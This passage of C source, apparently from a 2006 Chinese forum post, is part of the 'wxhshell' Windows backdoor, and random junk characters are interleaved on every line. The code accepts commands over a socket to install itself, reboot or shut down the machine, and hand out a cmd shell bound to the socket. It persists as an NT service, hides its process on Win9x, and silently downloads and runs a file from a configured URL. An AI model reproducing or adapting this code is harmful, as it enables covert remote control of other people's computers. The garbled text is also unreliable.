  U&ytZ7iB  
  // 帮助 *M)M!jTv  
  case '?': { |BUgsE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /xSFW7d1  
    break; .1}1e;f-  
  } d'"|Qg_'  
  // 安装 Re2&qxE  
  case 'i': { h*R w^5,c  
    if(Install()) ('{aOiSH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SpImd IpD  
    else S@'%dN6e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \1SC:gN*#  
    break; !,dp/5 V  
    } Y]7503J  
  // 卸载 QWnGolN  
  case 'r': { dr(-k3ex  
    if(Uninstall()) L9<\vJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.dr<  
    else v2I? 5?j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4BSqL!i(  
    break; zO---}[9a  
    } #N"u 0  
  // 显示 wxhshell 所在路径 jo^c>ur  
  case 'p': { fZj,Q#}D  
    char svExeFile[MAX_PATH]; uIbAlE  
    strcpy(svExeFile,"\n\r"); WQ}wQ:]  
      strcat(svExeFile,ExeFile); FZ?:BX^  
        send(wsh,svExeFile,strlen(svExeFile),0);  4=ovm[  
    break; qDG2rFu&[  
    } 7FJ4;HLQ  
  // 重启 .$H"j>  
  case 'b': { $~iZaX8&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8]Tv1Wc  
    if(Boot(REBOOT)) 3LT~- SvL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [@ev%x,  
    else { p_g`f9q6D  
    closesocket(wsh); {x?qz~W  
    ExitThread(0); +]nIr'V  
    } F3EAjO)ch  
    break; 1C8xJ6F  
    } s~].iQJ{B  
  // 关机 K6t"98  
  case 'd': { >x JzV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c )LG+K  
    if(Boot(SHUTDOWN)) L FkDb}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aZ4?! JW.  
    else { aTTkj\4  
    closesocket(wsh); !9WGZfK+0Y  
    ExitThread(0); ~t~[@2?WG  
    } BLy V~   
    break; zQ |2D*W  
    } Yu\$Y0 {]  
  // 获取shell m~5 unB9  
  case 's': { g ns}%\,  
    CmdShell(wsh); D9[19,2r`  
    closesocket(wsh); 88~Nrl=co  
    ExitThread(0); Tj#S')s8  
    break; 8Y.q P"s  
  } -0d9,,c  
  // 退出 n2bhCd]j<b  
  case 'x': { AN Fes*8j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ud  r\\5  
    CloseIt(wsh); =^rt?F4  
    break; Qdq;C,}Ai.  
    } M; wKTTQy  
  // 离开 Kf:!tRE  
  case 'q': { 9?H$0xZV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7]vmtlL  
    closesocket(wsh); e'.BTt58Y  
    WSACleanup(); =U3S"W %  
    exit(1); {&n- @$?  
    break; ZOEe-XW  
        } Xe %J{  
  } g:M;S"U3*Y  
  } >+a\BK"k  
YCD |lL#  
  // 提示信息 }#FV{C]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CW+kKN  
} }QCnN2bV  
  } %^@l5h.lqB  
{s mk<NL  
  return; SA +d4P_T  
} o}v<~v(  
EfEgY|V0  
// shell模块句柄 -i`jS_-Cv-  
int CmdShell(SOCKET sock) ;qgo=  
{ qS vV |G  
STARTUPINFO si; SUc%dpXZa  
ZeroMemory(&si,sizeof(si)); W#F9Qw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KV_/fa~Ry  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =~+ WJN  
PROCESS_INFORMATION ProcessInfo; ^aSb~lce  
char cmdline[]="cmd"; -Q n-w3~&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9>~pA]j%  
  return 0; cW:y^(Xii  
} ( V4Ppg  
dipfsH]p  
// 自身启动模式 %]4Tff  
int StartFromService(void) ;;,7Jon2  
{ EB[T 5{  
typedef struct N(7 XILC  
{ Z\nDR|3  
  DWORD ExitStatus; A9.TRKb=8  
  DWORD PebBaseAddress; vh a9,5_  
  DWORD AffinityMask; xsH1)  
  DWORD BasePriority; M@cFcykK  
  ULONG UniqueProcessId; |T|m5V'l  
  ULONG InheritedFromUniqueProcessId; CeYhn\m5K0  
}   PROCESS_BASIC_INFORMATION; 4-yK!LR  
CVfV    
PROCNTQSIP NtQueryInformationProcess; x(Bt[=,K3  
ZM.'W}J{ *  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z=]SAK`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zKd@Ab  
sUG!dwqqd  
  HANDLE             hProcess; 3(WijtH  
  PROCESS_BASIC_INFORMATION pbi; +HS]kFH  
eN=jWUoCh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3YvKHn|V"  
  if(NULL == hInst ) return 0; i1B!oZ3q  
t1?aw<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z mJ<h&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n~ *|JJ*`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nQiZ6[L  
8ZY]-%  
  if (!NtQueryInformationProcess) return 0; ;M3%t=KV  
]>X_E%`G<b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _9h$8(wjn  
  if(!hProcess) return 0; [J,.?'V  
no*)M7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?@'&<o0p#  
aD: #AmbJ  
  CloseHandle(hProcess); >&(#p@#  
O52 /fGt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x"b'Pmw  
if(hProcess==NULL) return 0; DG;7+2U  
C8-7XQ=B:b  
HMODULE hMod; oai=1vt@  
char procName[255]; |oPRP1F-;e  
unsigned long cbNeeded; N9w"Lb  
36=aahXd\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (uC8M,I\  
fu5L)P^T  
  CloseHandle(hProcess); ]DNPG"  
]}v]j`9m%  
if(strstr(procName,"services")) return 1; // 以服务启动 b}K,wAx  
`==l 2AX  
  return 0; // 注册表启动 h5P_kZJ  
} ;XN|dq  
K7RAmX  
// 主模块 gQeQy  
int StartWxhshell(LPSTR lpCmdLine) /JR+WmO  
{ 5NhFjPETr  
  SOCKET wsl; j*.;6}\o  
BOOL val=TRUE; t /+;#-  
  int port=0;  cyl%p$  
  struct sockaddr_in door; ,';|CGI cP  
{+J{t\`  
  if(wscfg.ws_autoins) Install(); 1=)M15  
ZwUBeyxS=c  
port=atoi(lpCmdLine); ? "I %K%  
Q4u.v,sE  
if(port<=0) port=wscfg.ws_port; ?AyxRbk  
d>p' A_  
  WSADATA data; kOydh(yE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r07u6OA  
DB|1Sqjsn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^ptybVo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7a"06Et^  
  door.sin_family = AF_INET; PeJ#9hI~rQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nj s:  
  door.sin_port = htons(port); dxX`\{E  
]rv\sD`[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ! 6(3Y  
closesocket(wsl); qZd*'ki<  
return 1; k6b ct@7  
} Q!+AiSTU  
A6]:BuP;c  
  if(listen(wsl,2) == INVALID_SOCKET) { EZ<:>V-_D  
closesocket(wsl); 'zYS:W  
return 1; Skt-5S#  
} wMVUTm  
  Wxhshell(wsl); 91]|4k93  
  WSACleanup(); WoTeIkM9  
+9Tc.3vQ  
return 0; EVPQe-  
;\pVc)\4"  
} aj5HtP-  
O)q4^AE$  
// 以NT服务方式启动 g#$ C8k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oP,*H6)i  
{ Hhknjx  
DWORD   status = 0; A)U"F&tvm  
  DWORD   specificError = 0xfffffff; \ptO4E  
r XJx~ g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j}uL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lUu0AZQmG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;^ME  
  serviceStatus.dwWin32ExitCode     = 0; ?\Z pVL<>  
  serviceStatus.dwServiceSpecificExitCode = 0; w % Hj'  
  serviceStatus.dwCheckPoint       = 0; M@.l# [@U  
  serviceStatus.dwWaitHint       = 0; Q5ASN"_  
Q4cCg7|0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :+"4_f0  
  if (hServiceStatusHandle==0) return; $'V^_|EL7  
_pTcSp 3  
status = GetLastError(); <odi>!ViH  
  if (status!=NO_ERROR) .)tv'V/  
{ 0f@+o}i=)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uY5|Nmiu  
    serviceStatus.dwCheckPoint       = 0; lAN&d;NU6Z  
    serviceStatus.dwWaitHint       = 0; NVM_.vL  
    serviceStatus.dwWin32ExitCode     = status; % G= cKM  
    serviceStatus.dwServiceSpecificExitCode = specificError; a/V,iCiH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hi"C<b.  
    return; 6$b =Tr=0  
  } ;U(]#pW!t  
$4{sP Hi)I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m \)B=H!bz  
  serviceStatus.dwCheckPoint       = 0; xrg"/?84  
  serviceStatus.dwWaitHint       = 0; "B3jq^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AY52j  
} IS]A<}j/-  
HUx`RX0>  
// 处理NT服务事件,比如:启动、停止 b=EI?XwJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !P{ /;Q  
{ |Y!^E % *  
switch(fdwControl) )Eozo4~  
{ +Csb8  
case SERVICE_CONTROL_STOP: -PPwX~;!  
  serviceStatus.dwWin32ExitCode = 0; Z,)H f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +v B}E  
  serviceStatus.dwCheckPoint   = 0; 2'fd4 rE5  
  serviceStatus.dwWaitHint     = 0; O!"K'Bm  
  {  :tZsSK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dUv@u !}B  
  } wH|%3 @eJ  
  return; cP?GRMX@}  
case SERVICE_CONTROL_PAUSE: y[i}iT/~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c[-N A  
  break; 7rdmj[vu  
case SERVICE_CONTROL_CONTINUE: Nr*l3Z>LD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  LgF?1?  
  break; QP'sS*saJ  
case SERVICE_CONTROL_INTERROGATE: ?6_]^:s  
  break; &oMEz 0  
}; i431mpMa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T:Cq}4k<  
} &oG>Rqkm  
Qf_N,Bq{a  
// 标准应用程序主函数 X`g<"Ka  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (1CP]5W  
{ 5~h )pt47  
kqeEm {I  
// 获取操作系统版本 c^w^'<  
OsIsNt=GetOsVer(); 4pL'c@'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :P-H8*n""  
iFUiw&  
  // 从命令行安装 iM8Cw/DS  
  if(strpbrk(lpCmdLine,"iI")) Install(); V=ll 9M  
Y^]n>X  
  // 下载执行文件 t`6]eRR  
if(wscfg.ws_downexe) { r^Ra`:ca  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ft/k-64  
  WinExec(wscfg.ws_filenam,SW_HIDE); \IQG%L{  
} Uc!k)o#=  
3N >V sl  
if(!OsIsNt) { W"%n5)  
// 如果时win9x,隐藏进程并且设置为注册表启动 .gy:Pl]w  
HideProc(); jsAx;Z:QT  
StartWxhshell(lpCmdLine); QDxs+<#  
} N #v[YO`.  
else HW[&q  
  if(StartFromService()) '_?Z{|  
  // 以服务方式启动 Kii@Z5R_?  
  StartServiceCtrlDispatcher(DispatchTable); +j: &_  
else X8tPn_`x  
  // 普通方式启动 h>V6}(~;.  
  StartWxhshell(lpCmdLine); l=xG<)Okb  
c7+6[y DVE  
return 0; 7NJl+*u  
}
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只看该作者 1 发表于: 2006-10-10
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